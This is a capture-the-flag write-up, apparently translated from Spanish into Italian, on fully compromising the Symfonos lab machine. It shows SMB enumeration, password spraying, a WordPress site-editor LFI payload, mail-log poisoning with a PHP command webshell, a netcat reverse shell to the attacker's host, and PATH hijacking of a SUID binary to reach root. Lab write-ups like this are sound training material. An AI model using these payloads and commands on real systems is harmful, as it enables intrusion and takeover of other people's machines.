Ir al contenido

OPERAZIONE SYMFONOS: DA SMB A PATH HIJACKING - Team Portelcore

Obiettivo: Compromissione totale (Root) della macchina obiettivo Symfonos. Vettore Finale: Path Hijacking (Privilege Escalation). Target IP: 172.20.0.142 Stato...

0letture

Obiettivo: Compromissione totale (Root) della macchina bersaglio Symfonos. Vettore finale: Path Hijacking (Privilege Escalation). Indirizzo IP bersaglio: 172.20.0.142 Stato: 🚩 ROOT OTTENUTO & FLAG CATTURATA

FASE 1: ACCESSO INIZIALE (ENUMERAZIONE & ESPLOITAZIONE)

Sección titulada «FASE 1: ACCESO INICIAL (ENUMERACIÓN & EXPLOTACIÓN)»

Prima di pianificare un Path Hijacking, avevamo bisogno di ottenere una shell iniziale. Abbiamo iniziato con una fase esaustiva di riconoscimento di rete per identificare la superficie di attacco.

1.0 Riconoscimento Iniziale (Scansione delle Porte)

Sección titulada «1.0 Reconocimiento Inicial (Escaneo de Puertos)»

Abbiamo eseguito uno script di automazione proprietario (auto_scan_ip_nmap_Supreme.sh) per eseguire una scansione approfondita del target 172.20.0.142.

Comando eseguito:

Ventana de terminal
sudo ./auto_scan_ip_nmap_Supreme.sh -i 172.20.0.142 --scan-type standard --web-scan

Comando Nmap sottostante: Lo script ha lanciato il seguente comando Nmap per ottenere il massimo dettaglio:

Ventana de terminal
/usr/lib/nmap/nmap -Pn -sS -sV -O -T4 --version-intensity 7 --script=default,vuln,vulners,discovery --reason -v --host-timeout 20m -p22,25,80,139,445 -oA scans/172.20.0.142/detailed 172.20.0.142

RISULTATI DELLA SCANSIONE (Porte e Servizi):

Abbiamo identificato i seguenti servizi critici esposti:

PortaStatoServizioVersione / Dettagli
22/tcpApertosshOpenSSH (Debian)
25/tcpApertosmtpPostfix smtpd (Debian/GNU)
80/tcpApertohttpApache httpd 2.4.25 ((Debian))
139/tcpApertonetbios-ssnSamba smbd 3.X - 4.X (Workgroup: WORKGROUP)
445/tcpApertonetbios-ssnSamba smbd 4.5.16-Debian (Workgroup: WORKGROUP)

Analisi Tattica Iniziale:

  1. SMB (139/445): Samba 4.5.16 è una versione obsoleta. Questo sarà il nostro punto di ingresso principale.
  2. HTTP (80): Server Apache. Se l'accesso tramite SMB fallisce, cercheremo directory web o vulnerabilità nell'applicazione.
  3. SMTP (25): Postfix. Potrebbe essere utile per l'enumerazione degli utenti o tecniche di Log Poisoning.

1.0.1 Riconoscimento Avanzato di SMB (Nmap Scripts)

Sección titulada «1.0.1 Reconocimiento Avanzado de SMB (Nmap Scripts)»

Gli script di Nmap (smb-enum-*) hanno fornito informazioni cruciali sulla configurazione del servizio Samba:

Risultati Chiave:

  1. Utenti: È stata confermata l'esistenza dell'utente helios nel dominio SYMFONOS.
  2. Risorse (Shares):
    • anonymous: Accesso in lettura/scrittura (READ/WRITE) per gli ospiti (guest).
    • helios: Risorsa personale dell'utente helios.
    • IPC$: Servizio IPC.
  3. Contenuto Esposto: La risorsa anonymous contiene un file chiamato attention.txt.
  4. Sicurezza: La firma dei messaggi (Message Signing) è disattivata (disabled), il che potrebbe permettere attacchi di tipo relay, anche se non è necessario in questo caso.

Evidenza Raw (Nmap):

| smb-enum-domains:
| SYMFONOS
| Users: helios
...
| smb-ls: Volume \\172.20.0.142\anonymous
| SIZE TIME FILENAME
| <DIR> 2019-06-29T01:14:49 .
| <DIR> 2019-06-29T01:12:15 ..
| 154 2019-06-29T01:14:49 attention.txt
...
| smb-enum-shares:
| \\172.20.0.142\anonymous:
| Type: STYPE_DISKTREE
| Path: C:\usr\share\samba\anonymous
| Anonymous access: READ/WRITE
...
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos
| NetBIOS computer name: SYMFONOS\x00

Con l'obiettivo chiaro sul protocollo SMB, che spesso permette l'accesso anonimo o nullo se non configurato correttamente. Procederemo a elencare le risorse condivise disponibili.

Ordine Tattico:

# Listar recursos (-L) sin contraseña (-N)
smbclient -L //172.20.0.142 -N

EVIDENZA RACCOLTA:

Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
helios Disk Helios personal share
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)

Analisi di Intelligence:

  • anonymous: Risorsa accessibile. Il nostro punto di ingresso prioritario.
  • helios: Ci rivela un nome utente valido del sistema (helios). Questo sarà il nostro obiettivo per attacchi brute-force o riutilizzo delle password in seguito.

Ci connetteremo alla risorsa anonymous per ispezionarne il contenuto ed esfiltrare qualsiasi dato rilevante.

Ordine di Esfiltrazione:

smbclient //172.20.0.142/anonymous -N
smb: \> get attention.txt
smb: \> exit

EVIDENZA DI ESFILTRAZIONE:

smb: \> get attention.txt
getting file \attention.txt of size 154 as attention.txt (7.9 KiloBytes/sec) (average 7.9 KiloBytes/sec)
smb: \> exit

Analisi del Contenuto (cat attention.txt):

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
Next person I find using one of these passwords will be fired!
-Zeus

NUOVA INTELLIGENCE OTTENUTA:

  1. Nuovo Utente Identificato: zeus (Probabile amministratore o utente privilegiato).
  2. Lista di Password Filtate (Dizionario):
    • epidioko
    • qwerty
    • baseball

1.3 Credential Spraying & Accesso Confermato

Sección titulada «1.3 Credential Spraying & Acceso Confirmado»

Testeremo le credenziali estratte contro l'utente helios sul servizio SMB.

Tentativo fallito (Password: helios):

smbclient //172.20.0.142/helios -U helios
Password for [WORKGROUP\helios]:
session setup failed: NT_STATUS_LOGON_FAILURE

Tentativo riuscito (Password: qwerty):

smbclient //172.20.0.142/helios -U helios
# Password: qwerty

PROVA DI SUCCESSO:

smb: \> ls
. D 0 Sat Jun 29 02:32:05 2019
.. D 0 Sat Jun 29 02:37:04 2019
research.txt A 432 Sat Jun 29 02:32:05 2019
todo.txt A 52 Sat Jun 29 02:32:05 2019

Analisi della situazione:

  • Accesso garantito: La password qwerty è valida per helios su SMB.
  • Nuovi obiettivi: research.txt e todo.txt. Questi file solitamente contengono percorsi nascosti del web server ("Security through obscurity").

Passaggio 1: Scaricheremo l'intelligence

Sección titulada «Paso 1: Descargaremos la Inteligencia»

Dalla sessione SMB di helios, procederemo a esfiltrare i file trovati.

smb: \> get research.txt
getting file \research.txt of size 432 as research.txt (28.1 KiloBytes/sec)
smb: \> get todo.txt
getting file \todo.txt of size 52 as todo.txt (5.1 KiloBytes/sec)

Passaggio 2: Analisi dei file (L'indizio d'oro)

Sección titulada «Paso 2: Análisis de Archivos (La Pista Dorada)»

cat research.txt:

Elio (anche Helius) era il dio del Sole nella mitologia greca… (Informazioni generiche, irrilevanti).

cat todo.txt:

1. Binge watch Dexter
2. Dance
3. Work on /h3l105

Il punto 3 rivela un percorso directory nascosto sul server web: /h3l105.

Passaggio 3: Enumerazione di WordPress (WPScan)

Sección titulada «Paso 3: Enumeración de WordPress (WPScan)»

Eseguiremo wpscan per identificare i vettori di attacco al sito WordPress scoperto:

Comando eseguito:

wpscan --url [http://172.20.0.142/h3l105/](http://172.20.0.142/h3l105/) --enumerate p
  • Versione WordPress: 5.2.2.
  • Plugin: Non rilevati tramite metodi passivi.
  • Azione correttiva: Ricerca manuale di plugin comuni a Symfonos (site-editor, mail-manning).

Confermeremo che il plugin site-editor è installato ed è vulnerabile a LFI.

URL di Esploitazione (Payload): http://172.20.0.142/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Evidenza dell'output:

root:x:0:0:root:/root:/bin/bash
...
helios:x:1000:1000:,,,:/home/helios:/bin/bash
{"success":true,"data":{"output":[]}}

Stato: Vulnerabilità LFI confermata. Lettura arbitraria di file attiva.

1. Avvelenamento (Poisoning) - GIÀ ESEGUITO: Inietteremo <?php system($_GET['cmd']); ?> a /var/mail/helios via Telnet.

2. Esecuzione del Comando (Trigger): Chiameremo il log avvelenato utilizzando la vulnerabilità LFI del plugin site-editor.

URL di Detonazione: .../ajax_shortcode_pattern.php?ajax_path=/var/mail/helios&cmd=id

Evidenza di RCE: Il server restituirà il contenuto della posta, incluso il risultato dell'esecuzione del comando id alla fine:

From attacker@symfonos.localdomain Mon Feb 9 09:59:37 2026
Return-Path: <attacker@symfonos.localdomain>
...
Subject: Pwned
uid=1000(helios) gid=1000(helios) groups=1000(helios),24(cdrom),25(floppy)...
{"success":true,"data":{"output":[]}}

Stato: RCE CONFERMATO. Abbiamo l'esecuzione di codice come utente helios.

3. Reverse Shell (Accesso Finale): Dal browser, lanceremo la shell inversa verso la nostra macchina Kali:

&cmd=nc -e /bin/bash 172.20.0.165 4444

Evidenza Shell Ottenuta:

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.20.0.165] from (UNKNOWN) [172.20.0.142] 52086

FASE 2: ESCALATION DEI PRIVILEGI (PATH HIJACKING)

Sección titulada «FASE 2: ESCALADA DE PRIVILEGIOS (PATH HIJACKING)»

Una volta ottenuta la shell come utente helios, procederemo all'enumerazione del sistema alla ricerca di binari SUID vulnerabili.

2.1 Identificazione dell'Obiettivo (Caccia ai SUID)

Sección titulada «2.1 Identificación del Objetivo (Caza SUID)»

Cercheremo binari con il bit SUID attivato che sembrino “strani” o personalizzati.

Comando eseguito:

find / -perm -4000 -type f 2>/dev/null

Evidenza Raccolta:

/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck <-- ¡SOSPECHOSO!
/bin/mount
/bin/umount
/bin/su
/bin/ping

Analisi Tattica: Il binario /opt/statuscheck non è un binario standard di Linux. La sua posizione in /opt e il suo nome suggeriscono che è uno script o un programma personalizzato dall'amministratore. È il nostro obiettivo principale.

Investigheremo cosa fa il binario sospetto.

Comando: strings /opt/statuscheck

Evidenza Raccolta:

Ventana de terminal
...
curl -I H
http://lH
ocalhostH
...

Diagnostica Definitiva: Il binario invoca il comando curl senza specificare il suo percorso assoluto (cioè, utilizza curl al posto di /usr/bin/curl). Ciò conferma che è vulnerabile a Path Hijacking.

2.3 Esecuzione dell'Exploit (Passo dopo Passo)

Sección titulada «2.3 Ejecución del Exploit (Paso a Paso)»

Assumendo che il binario esegua curl senza percorso assoluto, procederemo con l'attacco:

1. Preparare il Payload: Creeremo uno script dannoso chiamato curl che invoca una shell.

Ventana de terminal
cd /tmp
echo "/bin/sh" > curl
chmod +x curl

2. Dirottare il PATH: Modificheremo la variabile di ambiente in modo che il sistema cerchi prima in /tmp.

export PATH=/tmp:$PATH

3. Innescare: Eseguiremo il binario SUID. Quando viene chiamato curl, il sistema eseguirà nostro script con privilegi di root (ereditati dal SUID).

/opt/statuscheck

Evidenza Finale (ROOT):

whoami
root

Comando: cat /root/proof.txt

((( )) / ~~ \ /~ __--~~ --~~ __/~ _-~ /
((\~\ | ) | ' / __--~~ \-~~ _-~
`\(\ __--( _/ |'\ / --~~ __--~' _-~ ~|
( ((~~ __-~ \~\ / ___---~~ ~~\~~__--~
~~\~~~~~~ `\-~ \~\ / __--~~~'~~/
;\ __.-~ ~-/ ~~~~~__\__---~~ _..--._
;;;;;;;;' / ---~~~/_.-----.-~ _.._ ~\
;;;;;;;' / ----~~/ `\,~ `\ \
;;;;' ( ---~~/ `:::| `\\.
|' _ `----~~~~' / `:| ())))),
______/\/~ | / / (((((())
/~;;.____/;;' / ___.---( `;;;/ )))'`))
/ // _;______;'------~~~~~ |;;/\ / (( (
// \ \ / | \;;,\ `
(<_ \ \ /',/-----' _>
\_| \\_ //~;~~~~~~~~~
\_| (,~~
\~\
~~
Contact me via Twitter @zayotic to give feedback!

FINE DEL RAPPORTO